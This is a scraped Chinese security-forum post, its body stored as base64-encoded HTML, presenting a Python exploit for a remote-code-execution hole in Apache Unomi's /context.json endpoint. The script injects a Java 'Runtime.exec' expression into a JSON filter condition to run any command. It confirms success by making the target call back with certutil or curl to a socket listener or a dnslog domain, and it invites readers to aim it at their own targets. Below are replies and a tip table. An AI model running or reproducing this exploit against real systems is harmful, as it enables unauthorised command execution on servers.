C4wLjAmIzM5OwogICAgICAgICAgICBscG9ydCA9IHJhbmRvbS5yYW5kaW50KDYyMDAwLDYyOTk5KQogICAgICAgICAgICBzayA9IHNvY2tldC5zb2NrZXQoKQogICAgICAgICAgICBzay5zZXR0aW1lb3V0KDI1KQogICAgICAgICAgICAjIOW8gOWQr+WcsOWdgOWkjeeUqAogICAgICAgICAgICBzay5zZXRzb2Nrb3B0KHNvY2tldC5TT0xfU09DS0VULCBzb2NrZXQuU09fUkVVU0VBRERSLCAxKQogICAgICAgICAgICBzay5iaW5kKChob3N0LCBscG9ydCkpCiAgICAgICAgICAgIHNrLmxpc3Rlbig1KQogICAgICAgICAgICBwLnB1dChscG9ydCkKICAgICAgICAgICAgYnJlYWsKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBtc2c6CiAgICAgICAgICAgIHBhc3MKICAgIHRyeToKICAgICAgICAjcHJpbnQoJiMzOTt3YWl0IGZvciBjbGllbnQgcG9ydDomIzM5OyArICBzdHIobHBvcnQpKQogICAgICAgIHRpbWUuc2xlZXAoMTApICPov5nph4zpnIDopoFzbGVlcOS4gOS8muWEv+S4jeeEtumAn+W6puWkquW/q2Nvbm7kuK3msqHmnInmlbDmja7jgIIKICAgICAgICBjb25uLCBhZGRyZXNzID0gc2suYWNjZXB0KCkKICAgICAgICBjX2luZm8gPSBjb25uLnJlY3YoMTAyNCkuZGVjb2RlKCYjMzk7VVRGLTgmIzM5OykKICAgICAgICBodHRwX3VyaV9nZXQgPSBjX2luZm8uc3BsaXQoJiMzOTtcbiYjMzk7KVswXQogICAgICAgIGlmIHJhbl9zdHIgaW4gaHR0cF91cmlfZ2V0OgogICAgICAgICAgICBzay5jbG9zZSgpCiAgICAgICAgICAgIHEucHV0KGh0dHBfdXJpX2dldCkgICAj55Sx5LqO5oiR5Lus6L+Z6YeM55qE5Ye95pWw6ZyA6KaB6YCa6L+H5aSa57q/56iL5p2l5ZCv5Yqo77yM5Zug5q2k5oiR5Lus6KaB5ou/5Yiw6L+Z5Liq5Ye95pWw55qE6L+U5Zue5YC86ZyA6KaB6YCa6L+HcXVldWXpmJ/liJfmnaXkvKDpgJLov4fmnaUKICAgICAgICBlbHNlOgogICAgICAgICAgICBzay5jbG9zZSgpCiAgICAgICAgICAgIHEucHV0KE5vbmUpCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHEucHV0KE5vbmUpCgpkZWYgcGF5bG9hZCh1cmwsY21kKTogI+S4uuS6huS7i+e7jeS7o+eggeeahOmHjeWkjeWIqeeUqO+8jOaIkeS7rOaKiuWPkemAgXBheWxvYWTov5nph4zlhpnmiJDkuIDkuKrlh73mlbDvvIznlKjmnaXlpJrmrKHlj5HpgIHvvIjpkojlr7nkuI3lkIznmoTmk43kvZzns7vnu5/lj5HpgIHkuI3lkIznmoRwYXlsb2Fk77yJCiAgICBoZWFkZXJzID0gewogICAgICAgICYjMzk7VXNlci1BZ2VudCYjMzk7OiAmIzM5O01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNzIuMC4zNjI2LjgxIFNhZmFyaS81MzcuMzYgU0UgMi5YICYjMzk7LAogICAgICAgICYjMzk7Q29udGVudC1UeXBlJiMzOTs6ICYjMzk7YXBwbGljYXRpb24vanNvbiYjMzk7CiAgICB9CiAgICBqc29uX2RhdGEgPSB7CiAgICAgICAgJnF1b3Q7ZmlsdGVycyZxdW90OzogWwogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAmcXVvdDtpZCZxdW90OzogJnF1b3Q7c2FtcGxlJnF1b3Q7LAogICAgICAgICAgICAgICAgJnF1b3Q7ZmlsdGVycyZxdW90OzogWwogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJnF1b3Q7Y29uZGl0aW9uJnF1b3Q7OiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAmcXVvdDtwYXJhbWV0ZXJWYWx1ZXMmcXVvdDs6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAmcXVvdDsmcXVvdDs6ICZxdW90O3NjcmlwdDo6UnVudGltZSByID0gUnVudGltZS5nZXRSdW50aW1lKCk7IHIuZXhlYyhcJnF1b3Q7e31cJnF1b3Q7KTsmcXVvdDsuZm9ybWF0KGNtZCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAmcXVvdDt0eXBlJnF1b3Q7OiAmcXVvdDtwcm9maWxlUHJvcGVydHlDb25kaXRpb24mcXVvdDsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgfQogICAgICAgIF0sCiAgICAgICAgJnF1b3Q7c2Vzc2lvbklkJnF1b3Q7OiAmcXVvdDtzYW1wbGUmcXVvdDsKICAgIH0KICAgIHJlcXVlc3RzLnBvc3QodXJsPXVybCwgaGVhZGVycz1oZWFkZXJzLCB0aW1lb3V0PTE1LCB2ZXJpZnk9RmFsc2UsIGFsbG93X3JlZGlyZWN0cz1GYWxzZSwganNvbj1qc29uX2RhdGEpICN2ZXJpZnk9RmFsc2XnlKjkuo7lv73nlaVzc2zor4Hkuabpqozor4EKCiPov5nph4zmmK/kuLvlh73mlbAKZGVmIGV4cGxvaXQodXJsKToKICAgIHVybGxpYjMuZGlzYWJsZV93YXJuaW5ncygpICPov5nph4znpoHnlKjmjolzc2zmiqXplJnkv6Hmga/vvIzpmLLmraLorr/pl65odHRwc+mhtemdoueahOaXtuWAmeS8muaKpXNzbOivgeS5pumUmeivrywKICAgIHRyeToKICAgICAgICByYW5fc3RyID0gJiMzOTsmIzM5Oy5qb2luKHJhbmRvbS5zYW1wbGUoc3RyaW5nLmFzY2lpX2xldHRlcnMsIDgpKSAj5aKe5Yqg6ZqP5py65a2X56ym5Liy77yM6L+Z6YeM6ZqP5py65a2X56ym5Liy5Li76KaB55So5LqOUkNF5qOA5rWL5Lit5o+Q6auY5qOA5rWL5YeG56Gu546H44CCCiAgICAgICAgcGF5bG9hZF9wYXRoID0gJiMzOTsvY29udGV4dC5qc29uJiMzOTsKICAgICAgICBuZXdfdXJsID0gdXJsICsgcGF5bG9hZF9wYXRoCiAgICAgICAgI+aPkOWPlnVybOS4reeahElQ5ZKMUE9SVAogICAgICAgIHVybHBhcnNlX29qID0gcGFyc2UudXJscGFyc2UodXJsKQogICAgICAgIGlwID0gdXJscGFyc2Vfb2ouaG9zdG5hbWUKICAgICAgICBwb3J0PXVybHBhcnNlX29qLnBvcnQKICAgICAgICB0cnk6CiAgICAgICAgICAgIGlwcnVsZV9yZSA9IHJlLmNvbXBpbGUoJiMzOTsoMTBceDJlXGR7MSwzfVx4MmVcZHsxLDN9XHgyZVxkezEsM30pfCgxNzJceDJlKDFbNi05XXwyWzAtOV18M1swLTFdKVx4MmVcZHsxLDN9XHgyZVxkezEsM30pfCgxOTJceDJlMTY4XHgyZVxkezEsM31ceDJlXGR7MSwzfSkmIzM5OykgI+WBmuS4gOS4queugOWNleeahOWGhee9kUlQ5Zyw5Z2A5Yik5pat77yM5aaC5p6c5piv5YaF572RSVDvvIzlsLHkvb/nlKhzb2NrZXQgdGNwc2VydmVy5pa55rOV5qOA5rWL77yM5ZCm5YiZ5L2/55SoZG5zbG9n5qOA5rWLCiAgICAgICAgICAgIGlwcnVsZV9yZXMgPSBpcHJ1bGVfcmUuc2VhcmNoKGlwKS5ncm91cCgwKQogICAgICAgICAgICBpZiBib29sKGlwcnVsZV9yZXMpID09IFRydWU6ICPlpoLkvZXlhoXnvZHkuZ/mg7PnlKhJUOWcsOWdgOWIpOaWrSzmiorov5nph4znmoRUcnVl5pS55Li6RmFsc2XlsLFvawogICAgICAgICAgICAgICAgIyDlkK/liqjlm57ov57nur/nqIsKICAgICAgICAgICAgICAgIHEgPSBRdWV1ZSgpICPov5nkuKrpmJ/liJfmmK/nlKjmnaXmjqXmlLbmvI/mtJ7liKTmlq3nu5PmnpznmoTpmJ/liJcKICAgICAgICAgICAgICAgIHAgPSBRdWV1ZSgpICPov5nkuKrpmJ/liJfmmK/nlKjmnaXlsIZzb2NrZXTpmo/mnLrnq6/lj6PkvKDlh7rmnaXlkYror4nnu5nkuLvnqIvluo/nmoTpmJ/liJcKICAgICAgICAgICAgICAgIHAzX2NoZWNrID0gVGhyZWFkKHRhcmdldD1jaGVja192dWwsIGFyZ3M9KHJhbl9zdHIsIHEsIHApKQogICAgICAgICAgICAgICAgcDNfY2hlY2suc3RhcnQoKQogICAgICAgICAgICAgICAgIyDojrflj5bmnKzlnLBJUOWSjOerr+WPowogICAgICAgICAgICAgICAgc29jayA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQpICPmlrDlu7rkuIDkuKpzb2NrZXTpmJ/liJfnlKjkuo7liKTmlq3oh6rouqtJUOWcsOWdgO+8jOeUqOS6juebruagh+acjeWKoeWZqOWbnui/nuWRveS7pOeahOaehOmAoAogICAgICAgICAgICAgICAgc29jay5jb25uZWN0KChpcCwgaW50KHBvcnQpKSkKICAgICAgICAgICAgICAgIHNvY2suc2V0dGltZW91dCgzMCkKICAgICAgICAgICAgICAgIGxob3N0ID0gc29jay5nZXRzb2NrbmFtZSgpWzBdICPlvpfliLDmnKzlnLBJUOWcsOWdgAogICAgICAgICAgICAgICAgbHBvcnQgPSBwLmdldCgpICPpgJrov4dw6Zif5YiX5ou/5Yiwc29ja2V05pyN5Yqh5Zmo55qE6ZqP5py656uv5Y+jCiAgICAgICAgICAgICAgICBjbWRfbGlzdCA9IFsmIzM5O2NlcnR1dGlsIC11cmxjYWNoZSAtc3BsaXQgLWYgaHR0cDovL3t9Ont9L3t9JiMzOTsuZm9ybWF0KGxob3N0LCBscG9ydCwgcmFuX3N0ciksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAmIzM5O2N1cmwgaHR0cDovL3t9Ont9L3t9JiMzOTsuZm9ybWF0KGxob3N0LCBscG9ydCwgcmFuX3N0cikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIF0gI+aehOmAoHdpbmRvd3PlkoxsaW51eOeahOS4pOenjeWRveS7pOaJp+ihjOajgOa1i3BheWxvYWQKICAgICAgICAgICAgICAgIGZvciBjbWQgaW4gY21kX2xpc3Q6CiAgICAgICAgICAgICAgICAgICAgcGF5bG9hZChuZXdfdXJsLCBjbWQpICAjIOWwhm5ld3VybOWSjOaehOmAoOeahGNtZOWRveS7pOS8oOWFpXBheWxvYWTlh73mlbDvvIznlKjkuo7lj5HpgIFwYXlsb2Fk5YyF44CC6L+Z6YeM5oiR5Lus55u05o6l6L+e57ut5Y+R6YCBd2luZG93c+WSjGxpbnV45Lik56eNcGF5bG9hZOWMheOAguWPquimgeaUtuWIsOWvueW6lOeahOWbnuW6lOWNs+WPr+ivtOaYjua8j+a0nuWtmOWcqAogICAgICAgICAgICAgICAgcmVzID0gcS5nZXQoKQogICAgICAgICAgICAgICAgaWYgcmFuX3N0ciBpbiByZXM6ICPov5nph4zpkojlr7nnlJ/miJDnmoTpmo/mnLrlrZfnrKbkuLLlkozlrp7pmYVzb2NrZXTmnI3liqHlmajmi7/liLDnmoTpmo/mnLrlrZfnrKbkuLLov5vooYzlr7nmr5TvvIzkuIDoh7TljbPooajnpLrmvI/mtJ7lrZjlnKjjgILvvIjlhbblrp7ov5nkuKrliKTmlq3lho3kuIrpnaJjaGVja192dWzlh73mlbDlt7Lnu4/liKTmlq3ov4fkuobvvIzov5nph4zlubbmsqHmnInnibnliKvkuIDlrpropoHnlKjnmoTmhI/kuYnllaYyMzMzM++8iQogICAgICAgICAgICAgICAgICAgIHJldHVybiBuZXdfdXJsCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIHJldHVybiBOb25lCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwYXNzCiAgICAgICAgZWxzZTogI+WmguaenOW5tumdnuWGhee9kUlQ77yM5oiR5Lus5omn6KGMZG5zbG9n55qE5pa55byP5p2l5Yik5patCiAgICAgICAgICAgIGRuc2xvZ19vYmplY3QgPSBkbnNsb2cuRG5zbG9nKCkgI+WIm+W7umRuc2xvZ+WvueixoQogICAgICAgICAgICBnZXRfZG5zc3ViID0gZG5zbG9nX29iamVjdC5yZXEoKSAj6I635Y+WZG5zbG9n55qE6ZqP5py65a2Q5Z+f5ZCNCiAgICAgICAgICAgIGNtZF9saXN0ID0gWyYjMzk7Y2VydHV0aWwgLXVybGNhY2hlIC1zcGxpdCAtZiBodHRwOi8ve30ue30mIzM5Oy5mb3JtYXQocmFuX3N0cixnZXRfZG5zc3ViKSwKICAgICAgICAgICAgICAgICAgICAgICAgJiMzOTtjdXJsIGh0dHA6Ly97fS57fSYjMzk7LmZvcm1hdChyYW5fc3RyLGdldF9kbnNzdWIpCiAgICAgICAgICAgICAgICAgICAgICAgIF0gI+S4gOagt+eahOaehOmAoOebuOW6lOeahFJDRSBwYXlsb2FkCiAgICAgICAgICAgIGZvciBjbWQgaW4gY21kX2xpc3Q6CiAgICAgICAgICAgICAgICBwYXlsb2FkKG5ld191cmwsIGNtZCkgICMg5LiO5LiK6Z2i5LiA5qC377yM5Y+R6YCBcGF5bG9hZOaVsOaNruWMheS4pOmBjQogICAgICAgICAgICB0aW1lLnNsZWVwKDEwKSAj6L+Z6YeM6YCa6L+H5LiA5LiqMTBz55qE562J5b6F77yM562J5b6F5LiA5LiLZG5zbG9n5o6l5pS25pel5b+X77yM5pe26Ze05Y+v5Lul5qC55o2u5a6e6ZmF572R57uc5oOF5Ya15p2l6LCD5pW0CiAgICAgICAgICAgIGdldF9kbnNsb2dfcmVzID0gZG5zbG9nX29iamVjdC5yZXMoKQogICAgICAgICAgICBpZiByYW5fc3RyIGluIGdldF9kbnNsb2dfcmVzOiAj5aaC5p6c6ZqP5py65a2X56ym5Liy5ZyoZG5zbG9n55qE5pel5b+X5Lit77yM5bCx6K+05piO5ryP5rSe5a2Y5ZyoCiAgICAgICAgICAgICAgICByZXR1cm4gbmV3X3VybCAj6L+U5Zue5ryP5rSedXJsCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICByZXR1cm4gTm9uZQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIHByaW50KGUpCiAgICAgICAgcmV0dXJuIE5vbmUKCnByaW50KGV4cGxvaXQoJiMzOTtodHRwOi8vMTAuMC4xMy4xMjU6ODE4MSYjMzk7KSkgI+aJp+ihjOa1i+ivlQo8L2NvZGU+PC9wcmU+CjxwPuS4i+mdouWIhuWIq+a8lOekuuS4gOS4i+S4pOenjeajgOa1i+eahOe7k+aenDwvcD4KPHA+MS5zb2NrZXTmnI3liqHlmajlm57ov548L3A+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTU5LzcxMDI2ZDUwODFhODU4OTI0OGU3ODk3MWQ1YTk4OWQ0XzU0OTA1LnBuZyIgYWx0PSIiPjwvcD4KPHA+Mi5kbnNsb2c8L3A+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTU5LzQ1ZDUwYTQxMmY5ODNiOWVmMmM1MDY5MGIzNjk3N2EyXzQ5MTI5LnBuZyIgYWx0PSIiPjwvcD4KPHA+5a6M5pW05Luj56CB5pS+6ZmE5Lu26YeM5ZWm77yM5aSn5a625Y+v5Lul6Ieq6KGM5L+u5pS55Li655uu5qCH5Li75py655qEdXJsPC9wPg==
用户名金币积分时间理由
veek 200.00 0 2021-01-29 15:03:05 代码思路清晰~

打赏我,让我更有动力~

3 条回复   |  直到 2022-5-31 | 1476 次浏览

柠檬
发表于 2021-2-1

PHA+NjY2PC9wPg==

评论列表

  • 加载数据中...

编写评论内容

cccng
发表于 2021-8-13

PHA+NjY2PC9wPg==

评论列表

  • 加载数据中...

编写评论内容

小箭
发表于 2022-5-31

PHA+NjY2PC9wPg==

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2025 掌控者 All Rights Reserved.